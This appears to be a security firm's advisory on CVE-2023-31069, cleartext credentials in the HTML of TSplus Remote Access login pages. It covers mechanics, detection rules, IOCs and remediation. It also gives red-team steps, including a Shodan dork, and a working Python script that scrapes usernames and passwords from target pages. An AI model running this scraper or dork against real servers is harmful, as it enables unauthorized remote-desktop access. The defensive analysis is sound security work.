CVE-2023-31069

Executive Summary

CVE-2023-31069 exposes a critical security flaw in TSplus Remote Access software, up to version 16.0.2.14. The vulnerability allows for the cleartext storage of credentials within the HTML source code of the web-based login page. This design flaw enables any user with access to the login page to retrieve valid credentials by simply viewing the page source. The exploit is trivial to execute and requires no authentication, making it a high-priority risk for organizations using this software. The vulnerability has been publicly documented with a proof-of-concept (PoC) exploit on Exploit-DB.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary software product (TSplus Remote Access) distributed directly by the vendor. The risk is primarily to the end-user organization's internal network and remote access infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex steps are required.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The exploit does not affect other components.
• Confidentiality (C): High - Cleartext credentials are directly exposed.
• Integrity (I): None - The vulnerability does not allow modification of data.
• Availability (A): None - The vulnerability does not affect system availability.

Threat Level: High. The ease of exploitation and the direct exposure of credentials make this a severe threat. An attacker can gain unauthorized access to the remote desktop environment.

Deep Dive & Mechanics

The TSplus Remote Access software allows administrators to create a custom web portal for single sign-on (SSO) and remote desktop gateway access. To facilitate automatic login, the software provides a configuration section within the HTML/JavaScript of the login page. This configuration is intended to store pre-filled credentials for convenience.

The vulnerability lies in the fact that these credentials are stored in cleartext within the HTML source code. The relevant JavaScript variables user and pass are populated with the actual username and password. When a user navigates to the login page, the browser downloads the entire HTML source, including these credentials. Any user who can view the page source (via browser developer tools or by saving the page) can extract the credentials.

The exploit code from Exploit-DB shows the exact location of the credentials within the page source:

// --------------- Access Configuration ---------------
var user = "Admin";                         // Login to use when connecting to the remote server
var pass = "SuperSecretPassword";           // Password to use when connecting to the remote server
var domain = "";
var server = "127.0.0.1";
var port = "";
var lang = "as_browser";
var serverhtml5 = "127.0.0.1";
var porthtml5 = "3389";
var cmdline = "";
// --------------- End of Access Configuration ---------------

This is not a result of a buffer overflow or injection; it is a fundamental design flaw in how the application handles credential storage for the SSO feature.

Vulnerable vs. Patched Code

Vulnerable Code (TSplus <= 16.0.2.14): The vulnerable code is the HTML/JavaScript of the login page. The credentials are hardcoded in cleartext within the <script> tags.

<script>
// --------------- Access Configuration ---------------
var user = "Admin";
var pass = "SuperSecretPassword";
// ...
</script>

Patched Code (Hypothetical/Expected): A secure implementation would not store credentials in the client-side code. Instead, it would use a server-side session token or a secure, encrypted cookie. The login page should not contain any pre-filled credentials. A patched version would remove the user and pass variables from the client-side code entirely, or use a one-time, server-generated token that is not human-readable.

<script>
// No credentials stored here. Authentication is handled server-side.
// The page only contains a login form.
</script>

Exploitation & Lab Setup

Red Team (Exploitation)

The exploitation is extremely simple and requires no special tools.

1. Identify Target: Find a TSplus Remote Access login page. This can be done via Shodan dorks (e.g., http.title:"TSplus") or by scanning internal networks.
2. Access Login Page: Navigate to the TSplus web portal (e.g., https://target-ip:port/).
3. View Page Source: Right-click on the page and select "View Page Source" or press Ctrl+U (Windows/Linux) or Cmd+U (macOS).
4. Extract Credentials: Search for the JavaScript variables var user and var pass within the source code. The values assigned to these variables are the cleartext credentials.

Automated Exploit (Python):

import requests
import re

def exploit_tsplus(target_url):
    try:
        response = requests.get(target_url, verify=False, timeout=10)
        if response.status_code == 200:
            # Regex to find user and pass variables
            user_match = re.search(r'var user\s*=\s*"([^"]+)"', response.text)
            pass_match = re.search(r'var pass\s*=\s*"([^"]+)"', response.text)
            
            if user_match and pass_match:
                username = user_match.group(1)
                password = pass_match.group(1)
                print(f"[+] Credentials Found!")
                print(f"[+] Username: {username}")
                print(f"[+] Password: {password}")
            else:
                print("[-] No credentials found in page source.")
        else:
            print(f"[-] Failed to retrieve page. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

# Example usage
# exploit_tsplus("https://192.168.1.100:443")

Exploit-DB Code (Full):

# Exploit Title: TSPlus 16.0.0.0 - Remote Work Insecure Credential storage
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://tsplus.net/
# Version: Up to 16.0.0.0
# Tested on: Windows
# CVE : CVE-2023-31069

With TSPlus Remote Work (v. 16.0.0.0) you can create a secure single
sign-on web portal and remote desktop gateway that enables users to
remotely access the console session of their office PC.
It is possible to create a custom web portal login page which allows a
user to login without providing their credentials.
However, the credentials are stored in an insecure manner since they are
saved in cleartext, within the html login page.
This means that everyone with an access to the web login page, can
easely retrieve the credentials to access to the application by simply
looking at the html code page.

This is a code snippet extracted by the source code of the login page
(var user and var pass):

   // --------------- Access Configuration ---------------
   var user = "Admin";                         // Login to use when
connecting to the remote server (leave "" to use the login typed in this
page)
   var pass = "SuperSecretPassword";           // Password to use when
connecting to the remote server (leave "" to use the password typed in
this page)
   var domain = "";                            // Domain to use when
connecting to the remote server (leave "" to use the domain typed in
this page)
   var server = "127.0.0.1";                   // Server to connect to
(leave "" to use localhost and/or the server chosen in this page)
   var port = "";                              // Port to connect to
(leave "" to use localhost and/or the port of the server chosen in this
page)
   var lang = "as_browser";                    // Language to use
   var serverhtml5 = "127.0.0.1";              // Server to connect to,
when using HTML5 client
   var porthtml5 = "3389";                     // Port to connect to,
when using HTML5 client
   var cmdline = "";                           // Optional text that will
be put in the server's clipboard once connected
   // --------------- End of Access Configuration ---------------

Blue Team (Detection & Response)

Detection:

1. Network Monitoring: Monitor for HTTP responses containing the strings var user = and var pass = in the response body. This can be done with a Network Intrusion Detection System (NIDS) like Suricata.
2. Web Application Firewall (WAF): Create a rule to inspect the response body for cleartext credential patterns.
3. Endpoint Detection & Response (EDR): Monitor for processes (e.g., browser) that are accessing the TSplus login page and then making subsequent RDP connections.

Response:

1. Immediate Isolation: If a compromised TSplus server is found, isolate it from the network immediately.
2. Credential Rotation: Force a password reset for all accounts that may have been exposed.
3. Forensic Analysis: Examine web server logs for any unusual access patterns to the login page.
4. Vendor Contact: Contact TSplus for a patch or workaround. If no patch is available, consider disabling the SSO feature or implementing a reverse proxy with additional authentication.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP response body containing the pattern var user = " and var pass = ".
  • HTTP requests to the TSplus login page (e.g., /, /login, /tsplus/).
• File IOCs:
  • HTML files on the TSplus server containing cleartext credentials in JavaScript variables.
• Behavioral IOCs:
  • Unauthorized RDP connections from external IPs to internal hosts.
  • Multiple failed login attempts followed by a successful login using the extracted credentials.

Detection Engineering

YARA Rule

rule CVE_2023_31069_TSplus_Credential_Leak {
    meta:
        description = "Detects cleartext credentials in TSplus login page HTML"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-31069"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $user_var = "var user = \"" ascii wide nocase
        $pass_var = "var pass = \"" ascii wide nocase
        $config_block = "Access Configuration" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: TSplus Cleartext Credential Disclosure
id: 8c5a2f3b-1e2d-4a7c-9b8f-0e1d2c3b4a5f
status: experimental
description: Detects HTTP responses containing cleartext credentials from TSplus login pages.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31069
    - https://www.exploit-db.com/exploits/51676
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.response.body|contains|all:
            - 'var user = "'
            - 'var pass = "'
    condition: selection
falsepositives:
    - Legitimate use of the SSO feature (though insecure)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-31069 TSplus Cleartext Credential Disclosure"; flow:to_client,established; content:"var user = \""; http_server_body; content:"var pass = \""; http_server_body; distance:0; within:500; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the "Single Sign-On" or "Auto-Login" feature in the TSplus administration panel. This will prevent the software from embedding credentials in the login page.
2. Vendor Patch: Check the TSplus website for a security patch. If available, apply it immediately. If not, contact the vendor for an ETA.
3. Workaround: If the SSO feature is required, implement a reverse proxy (e.g., Nginx, Apache) in front of the TSplus server. Configure the proxy to require additional authentication (e.g., HTTP Basic Auth, client certificates) before allowing access to the TSplus login page.
4. Credential Hygiene: Immediately rotate all passwords for accounts that may have been exposed. Enforce strong password policies and multi-factor authentication (MFA) for remote access.
5. Network Segmentation: Ensure the TSplus server is in a segmented network zone with strict firewall rules limiting access to only authorized users and systems.
6. Monitoring: Implement the detection rules provided in this report to monitor for any exploitation attempts.

Valters IT

{/* [Security Hash: 8E63C8F113A49403A868D9F5] */}